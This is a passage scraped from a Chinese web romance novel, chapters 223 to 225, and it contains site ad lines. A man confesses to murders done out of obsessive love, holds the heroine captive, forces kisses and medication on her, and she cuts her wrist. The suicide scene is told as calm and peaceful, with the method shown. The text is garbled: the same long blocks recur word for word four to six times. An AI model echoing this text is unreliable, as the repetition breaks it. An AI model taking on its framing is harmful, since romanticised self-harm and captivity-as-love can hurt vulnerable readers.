盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯 到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一 里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。如果他的父亲不是缉毒警……再往后退一步,如果他的父亲没有选择去救那个孩子,放任他死在那里,他的身份就不会被曝光,就不会遭到报复。他会那个风光霁月、优雅矜贵的韩家少爷,而不是那个眼瞎、只能坐轮椅、人人都避之不及的废人。他本可以堂堂正正的娶到她,夫妻琴瑟和鸣幸福安稳过一辈子。但这一切都因为父亲的职业被毁掉了。他心不甘,气不平。他恨,他要报复他们。但是姜梨出现了,她没有像其他人那样对他避之不及,反而主动靠近他,软软的喊他哥哥。韩聿泽突然又不想恨了,开始配合医生治疗。一直到听到她叫其他人哥哥的那一天。小姑娘欢声笑语的在跟一个男生叽叽喳喳的说个不停,欢快的像一只麻雀。他看不到,但是光听她雀跃的语调都能知道她笑的有多开心,尽管对方不怎么搭理他。他听到她喊的是:阿野哥哥。韩聿泽知道这个人是谁,他那个堂姐带回来的野种,他的外甥,司韩野。更荒唐的是,阿愿说他漂亮,说喜欢他。说想要当他的新娘。这样的话,她从来没有跟他说过。就连姜祈安,也选了江淮之。几次的二选一里,他都是落选的那一个。他的父亲两次都选了别的孩子,姜祈安也选择了江淮之,就连阿愿,也都不是选他。每一次生气,都是为了别人。“不同意你在我身边的人,阻碍我和你的人,通通都该死。”“沈翊拒绝跟司氏的一切合作,不就是因为我的原因吗?我知道他一直都想带你走,所以他死得一点也不冤。裴诗和裴书帮我解决了这样的麻烦,我当然不会杀他们。”韩聿泽说完站了起来,走了几步半蹲下身体将地上的碎瓷片收拾干净。每动一下,都会扯到后背的伤口,心口也痛的厉害,脸色愈发的白。而姜梨则是死死瞪着他,似是要将他戳穿。早在他对叶辞动手的时候姜梨就已经摸到了他的心理,但是听他亲口承认,她还是被气到了。脑子里紧绷的弦,“啪”的一声,断了。她的眼睛气的通红,掀开被子翻身坐起来,抄起床头柜上的东西就往他身上砸。台灯重重的砸在他的背上,钻心的痛让韩聿泽的眉毛皱了一下,但是他没吭声。姜梨没有东西可以砸了,这间卧室也变得一片狼藉。她盯着韩聿泽的背影,一字一顿。“还好我从来都没有记起来你,也从来都没有喜欢过你。你杀了我的至亲,居然也配说喜欢我?”“我看到你的每一分、每一秒,都在许愿。”“包括跨年夜那一天。我的愿望也是韩聿泽早点下地狱。”韩聿泽的手骤然捏紧,碎瓷片深深嵌入掌心,黏稠的液体涌了出来。柔软的舌头化成世间最锋利的刀,刺穿了他的耳膜和心脏。 第224章 姜梨自杀 原来她什么都知道,从头到尾她都知道。免费看书搜索: 拉小书网 这几个月的温存,都是姜梨编织出来的梦。“江淮之是我哥亲手送到我身边的,我永远相信他的选择。”“他比你光明磊落的多。”不可否认,韩聿泽的遭遇是惨的。姜梨共情,但不认同也不接受。江淮之比起他受的苦,有过之无不及。他本该是司家的大少爷,却因为司承德的私心,让他成了万人唾弃的私生子,是别人口中的野种。而她的母亲,把所有的恨都发泄在了他身上,就连取得名字也在说他是个野种。江淮之从生下来的那一天开始就在受罪。不被父母喜欢的孩子,连活着都是一种罪。没人比姜梨更懂这种痛。但是她比江淮之幸运的多,她没有为钱财发过愁,她有一个好哥哥。而江淮之非常穷,姜梨认识他的时候他才十二岁,小小年纪每天一放学就要帮着妈妈打工,居无定所,受尽了世人的冷眼。要说真的苦,难道不是江淮之更苦吗?韩聿泽从出生起就是韩家最受宠的孩子,是锦衣玉食的公子哥,父爱母爱一样不缺。他明明就是在爱和阳光里长大的孩子。要说苦的话,难道不是江淮之更苦吗?要说恨,江淮之难道不恨吗?但他从来没有去伤害过无辜的人。而他韩聿泽,杀了那么多人还一副理所应当的样子,在他的眼里,好像全世界都欠他。“江淮之是顶顶好的人。”“因为见过他这样的好人,所以我这辈子、下辈子、下下辈子,都不会去喜欢你。”姜梨指着他的最痛处戳,扎得他满身窟窿。韩聿泽把沾满血的碎片扔进了垃圾桶。沉默了好久,他再次走到床边。抬起那只干净的手,不顾她的反抗,掐住她的下巴。另一只手垂在身侧,五根指尖都在往下滴着血,手掌的割痕非常深,在他的脸上却看不到半点儿痛苦和怒气,连眉头都是舒展的。挂着一抹森然的淡笑。“我想过当个好人,所以我一开始隐瞒了姜祈安缉毒警的身份,还帮着他端掉了江城的毒窝据点。”我以为这样就可以离你近一点,但是他不允许我见你,哪怕我搬出我父亲,说我是他的儿子,他也没让我看你一眼。却一直都在为江淮之铺路,为的就是让他有娶你的资格,他想让你嫁给他。”他低着头,缓缓说:“所以我才联合沈叙和楚云杀了他。”“如果姜祈安没有选择当警察,你不会被带去江城,也就不会遇到江淮之,那你就是我的。他的身份再加上他的这些所作所为,他难道不该死吗?”韩聿泽看着她的眼睛,继续说:“阿愿不是也恨他的吗?他抛下你一个人,让你在江城受了那么多的罪。我们两个同为缉毒警的家属,我们的经历是相同的,我和你才最般配。”荒谬!姜梨背在后背的一只手紧紧握着刀柄,以迅雷不及掩耳之势朝他刺了过去。韩聿泽快速捏住了她的手腕,刀尖在距离他腹部两厘米的位置停了下来。因为用力,姜梨手背的青筋鼓了起来,隐约有些颤抖。 “就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快 ,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻 他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率 越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。“就算我不反抗,你也杀不死我。”韩聿泽轻松的把她手里的刀夺了过来,然后放到了床头柜上。他的指腹轻轻摩擦着她的脸,“想杀我也得有力气,就必须好好吃饭。”韩聿泽弯下腰,朝她凑近。啪——“别碰我!”姜梨抬起手就打在了他的脸上。软绵绵的,并不痛,一点痕迹都没留。“四少爷,家庭医生来了。”门外,管家敲了敲门。韩聿泽扯了扯嘴角,手掌掐住她的后脖颈,用力将她压过来,亲了亲她的嘴角。“乖乖吃饭,乖乖看病。”“宝贝儿,我等你来杀我,绝对不锁门。”———姜梨消停了两天。她不开口说话,也不踏出房间门一步。除了吃饭睡觉的时间,都是站在落地窗前看雪,一看就是一整天。韩聿泽晚上准时给她送药,丝毫不在意她的冷眼,依旧是那副温情蜜意的样子。“我怕你下毒。”姜梨照样打翻他送来的药。她是真的怕他下毒。韩聿泽也不恼,重新按量扣了几粒药,然后当着姜梨的面,喝水咽下去。也不管这些药他能不能吃。“可以了吗?”他浅笑着把药和水递给她,“不可以的话我们就换另外一种办法。”神经。姜梨面色更加冷,不再说话,毫不犹豫的把药吃了下去。第四天的凌晨,外面风雪依旧不停。姜梨突然从床上坐起来,她开了台灯,暖融的光充满了整个卧室。她眼睛很红,脸上还有未干的泪痕,出了一身的冷汗。她做梦了,来来回回梦到了好多人。活着的、死去的。心脏痛的要窒息。姜梨从枕头底下摸出来一把刀。刀被她擦的锃亮,在暖光下泛着冷光。突然,脑子里紧绷的那根弦,“啪”的一声,断掉了。刀刃深深的划破了手腕的皮肤,红色的液体源源不断的冒出来,她突然笑了,躺回床上安心的闭上了眼睛。心脏剧烈跳动的频率越来越慢,血越流越快,姜梨的意识逐渐飘渺,直至彻底消失。 第225章 阿愿,选一个 韩聿泽进姜梨房间的时候是五点,手腕流出来的血已经染红了一大片的床单,人已经处于昏迷不醒的状态了。免费看书就搜:你阅读 “阿愿!”他被吓得不轻,脸“唰”的一下变得惨白。跌跌撞撞的跑过去,手忙脚乱的用纱布紧紧贴在伤口上紧急止血,然后把姜梨送去了医院。血流了有两个多小时,好在她因为虚弱划的伤口不是太深,没有伤到动脉。不然别说是三个小时,一个小时就能要了她的命。但是她划的也不浅,再晚一点的话也会出人命。缝了七针。韩聿泽把她带回了司宅。卧室里所有瓷器和有棱角的东西都被他撤走了,床头柜和书桌的四个角都被包上了海绵垫。别墅里所有的窗户都只留了一条缝,上了锁。她的刀和枪也被韩聿泽拿走了。姜梨是在两天后了醒过来的。她没有绝食,韩聿泽喂她她也没有拒绝。一声不吭,乖顺的全部吃下去。姜梨不哭不闹,安静的过分,也顺从的过分。就是不说话,一直到第五天她都没有开口说一个字。不悲不喜不怒,像是被抽去了灵魂的空壳。韩聿泽坐在她床边,寸步不离的守着她。半夜,姜梨在药物作用下,终于合上眼皮睡了过去。过了会,她眉毛皱了起来,似是做了不好的梦。她手腕的伤在第八天的时候已经拆线,留了一条